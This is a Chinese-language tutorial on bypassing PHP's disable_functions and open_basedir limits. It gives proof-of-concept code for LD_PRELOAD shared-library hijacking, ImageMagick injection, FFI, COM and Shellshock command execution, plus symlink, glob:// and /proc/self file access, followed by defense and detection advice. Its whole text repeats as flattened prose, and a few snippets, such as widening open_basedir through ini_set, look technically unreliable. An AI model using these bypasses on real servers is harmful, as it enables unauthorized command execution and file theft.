php的两个bypass总结
字数 1730 2025-08-09 16:00:20

PHP 安全限制绕过技术详解:disable_functions 与 open_basedir

1. disable_functions 绕过技术

1.1 基本概念

disable_functions 是 PHP 配置中用于禁用危险函数的安全机制,在 php.ini 中设置。被禁用的函数将无法在 PHP 脚本中调用,常用于防止命令执行、文件操作等危险操作。

1.2 常见绕过方法

1.2.1 LD_PRELOAD 环境变量利用

原理:通过 LD_PRELOAD 环境变量预先加载自定义的共享库,劫持库函数调用。

实现步骤

  1. 编写恶意共享库(.so 文件)
  2. 使用 putenv() 设置 LD_PRELOAD 环境变量
  3. 通过 mail() 或 error_log() 等函数触发新进程加载

示例代码

// evil.c
#include <stdlib.h>
#include <stdio.h>
#include <string.h>

void _init() {
    unsetenv("LD_PRELOAD");
    system("id");
}

编译:gcc -shared -fPIC evil.c -o evil.so

PHP 调用:

<?php
putenv("LD_PRELOAD=/path/to/evil.so");
mail("","","","");
?>

1.2.2 ImageMagick 漏洞利用

适用条件:服务器安装了存在漏洞的 ImageMagick 版本

利用方式

<?php
$exploit = <<<EOF
push graphic-context
viewbox 0 0 640 480
fill 'url(https://example.com/image.jpg"|id")'
pop graphic-context
EOF;

file_put_contents("exploit.mvg", $exploit);
$thumb = new Imagick();
$thumb->readImage('exploit.mvg');
?>

1.2.3 FFI 扩展利用

要求:PHP 7.4+ 并启用 FFI 扩展

示例

<?php
$ffi = FFI::cdef("int system(const char *command);");
$ffi->system("id");
?>

1.2.4 COM 组件利用(Windows)

要求:Windows 系统 + 启用 COM 扩展

示例

<?php
$wsh = new COM('WScript.Shell');
$exec = $wsh->Exec('cmd /c whoami');
echo $exec->StdOut->ReadAll();
?>

1.2.5 Shellshock 漏洞利用

适用条件:存在 Shellshock 漏洞的 bash 环境

示例

<?php
function shellshock($cmd) {
    $tmp = tempnam(sys_get_temp_dir(), 'sh');
    file_put_contents($tmp, $cmd);
    putenv("PHP_SHELLSHOCK=() { :; }; $tmp");
    mail('','','','');
    unlink($tmp);
}
shellshock('id');
?>

1.3 其他绕过技术

  • pcntl_exec:如果未被禁用,可直接执行程序
  • imap_open:通过特殊构造的参数执行命令
  • Windows 组件:如 dotnetwmi 等扩展
  • 反序列化漏洞:利用存在问题的类进行 RCE

2. open_basedir 绕过技术

2.1 基本概念

open_basedir 是 PHP 限制文件系统访问的配置,将 PHP 脚本的文件操作限制在指定目录及其子目录中。

2.2 常见绕过方法

2.2.1 符号链接攻击

原理:利用符号链接突破目录限制

实现步骤

  1. 在允许目录创建符号链接
  2. 通过符号链接访问受限文件

示例

<?php
symlink('/etc/passwd', 'allowed_dir/passwd.link');
echo file_get_contents('allowed_dir/passwd.link');
?>

2.2.2 glob:// 协议利用

原理:glob 协议可以绕过部分目录限制

示例

<?php
$fi = new FilesystemIterator('glob:///*');
foreach($fi as $f) {
    echo $f->getPathname()."\n";
}
?>

2.2.3 目录遍历函数组合

常用函数组合

<?php
// 使用 realpath() 获取真实路径
$path = realpath('/etc/passwd');

// 使用 ini_set() 临时修改配置
ini_set('open_basedir', '/:/proc/self');

// 使用 DirectoryIterator 遍历
$dir = new DirectoryIterator('/');
foreach($dir as $file) {
    echo $file->getFilename()."\n";
}
?>

2.2.4 UDF 函数绕过

原理:通过 MySQL UDF 执行系统命令

步骤

  1. 上传恶意 so 文件到 MySQL 插件目录
  2. 创建 UDF 函数
  3. 调用函数执行命令

2.2.5 /proc/self 目录利用

示例

<?php
// 读取进程环境变量
echo file_get_contents('/proc/self/environ');

// 通过 mem 文件获取内存信息
echo file_get_contents('/proc/self/mem');
?>

2.3 其他绕过技术

  • 错误配置利用:当 open_basedir 设置不完整时
  • chdir() 与 ini_set() 组合:动态修改当前目录
  • SplFileInfo 类:通过对象方法访问文件
  • realpath cache:利用缓存机制绕过检查

3. 防御措施

3.1 针对 disable_functions 绕过的防御

  1. 定期更新 PHP 版本和扩展
  2. 禁用不必要的扩展(如 FFI、COM)
  3. 使用 Suhosin 等强化补丁
  4. 限制危险环境变量的使用(LD_PRELOAD)
  5. 实施严格的权限控制

3.2 针对 open_basedir 绕过的防御

  1. 正确设置 open_basedir(包含所有必要路径)
  2. 禁用不必要的协议(如 glob://)
  3. 限制符号链接的使用
  4. 使用 chroot 等更严格的隔离机制
  5. 定期审计文件操作日志

4. 检测与验证

4.1 检测 disable_functions 配置

<?php
print_r(ini_get('disable_functions'));
?>

4.2 检测 open_basedir 配置

<?php
print_r(ini_get('open_basedir'));
?>

4.3 测试绕过是否成功

建议在受控环境中测试,使用无害命令如 idwhoami 等验证。

5. 总结

本文详细介绍了 PHP 安全限制 bypass 的技术方法,包括 disable_functions 和 open_basedir 的多种绕过方式。这些技术既可用于安全测试,也可帮助管理员更好地加固系统。在实际应用中,应当遵守法律法规,仅在授权范围内进行测试。

PHP 安全限制绕过技术详解:disable_ functions 与 open_ basedir 1. disable_ functions 绕过技术 1.1 基本概念 disable_functions 是 PHP 配置中用于禁用危险函数的安全机制,在 php.ini 中设置。被禁用的函数将无法在 PHP 脚本中调用,常用于防止命令执行、文件操作等危险操作。 1.2 常见绕过方法 1.2.1 LD_ PRELOAD 环境变量利用 原理 :通过 LD_ PRELOAD 环境变量预先加载自定义的共享库,劫持库函数调用。 实现步骤 : 编写恶意共享库(.so 文件) 使用 putenv() 设置 LD_ PRELOAD 环境变量 通过 mail() 或 error_ log() 等函数触发新进程加载 示例代码 : 编译: gcc -shared -fPIC evil.c -o evil.so PHP 调用: 1.2.2 ImageMagick 漏洞利用 适用条件 :服务器安装了存在漏洞的 ImageMagick 版本 利用方式 : 1.2.3 FFI 扩展利用 要求 :PHP 7.4+ 并启用 FFI 扩展 示例 : 1.2.4 COM 组件利用(Windows) 要求 :Windows 系统 + 启用 COM 扩展 示例 : 1.2.5 Shellshock 漏洞利用 适用条件 :存在 Shellshock 漏洞的 bash 环境 示例 : 1.3 其他绕过技术 pcntl_ exec :如果未被禁用,可直接执行程序 imap_ open :通过特殊构造的参数执行命令 Windows 组件 :如 dotnet 、 wmi 等扩展 反序列化漏洞 :利用存在问题的类进行 RCE 2. open_ basedir 绕过技术 2.1 基本概念 open_basedir 是 PHP 限制文件系统访问的配置,将 PHP 脚本的文件操作限制在指定目录及其子目录中。 2.2 常见绕过方法 2.2.1 符号链接攻击 原理 :利用符号链接突破目录限制 实现步骤 : 在允许目录创建符号链接 通过符号链接访问受限文件 示例 : 2.2.2 glob:// 协议利用 原理 :glob 协议可以绕过部分目录限制 示例 : 2.2.3 目录遍历函数组合 常用函数组合 : 2.2.4 UDF 函数绕过 原理 :通过 MySQL UDF 执行系统命令 步骤 : 上传恶意 so 文件到 MySQL 插件目录 创建 UDF 函数 调用函数执行命令 2.2.5 /proc/self 目录利用 示例 : 2.3 其他绕过技术 错误配置利用 :当 open_ basedir 设置不完整时 chdir() 与 ini_ set() 组合 :动态修改当前目录 SplFileInfo 类 :通过对象方法访问文件 realpath cache :利用缓存机制绕过检查 3. 防御措施 3.1 针对 disable_ functions 绕过的防御 定期更新 PHP 版本和扩展 禁用不必要的扩展(如 FFI、COM) 使用 Suhosin 等强化补丁 限制危险环境变量的使用(LD_ PRELOAD) 实施严格的权限控制 3.2 针对 open_ basedir 绕过的防御 正确设置 open_ basedir(包含所有必要路径) 禁用不必要的协议(如 glob://) 限制符号链接的使用 使用 chroot 等更严格的隔离机制 定期审计文件操作日志 4. 检测与验证 4.1 检测 disable_ functions 配置 4.2 检测 open_ basedir 配置 4.3 测试绕过是否成功 建议在受控环境中测试,使用无害命令如 id 、 whoami 等验证。 5. 总结 本文详细介绍了 PHP 安全限制 bypass 的技术方法,包括 disable_ functions 和 open_ basedir 的多种绕过方式。这些技术既可用于安全测试,也可帮助管理员更好地加固系统。在实际应用中,应当遵守法律法规,仅在授权范围内进行测试。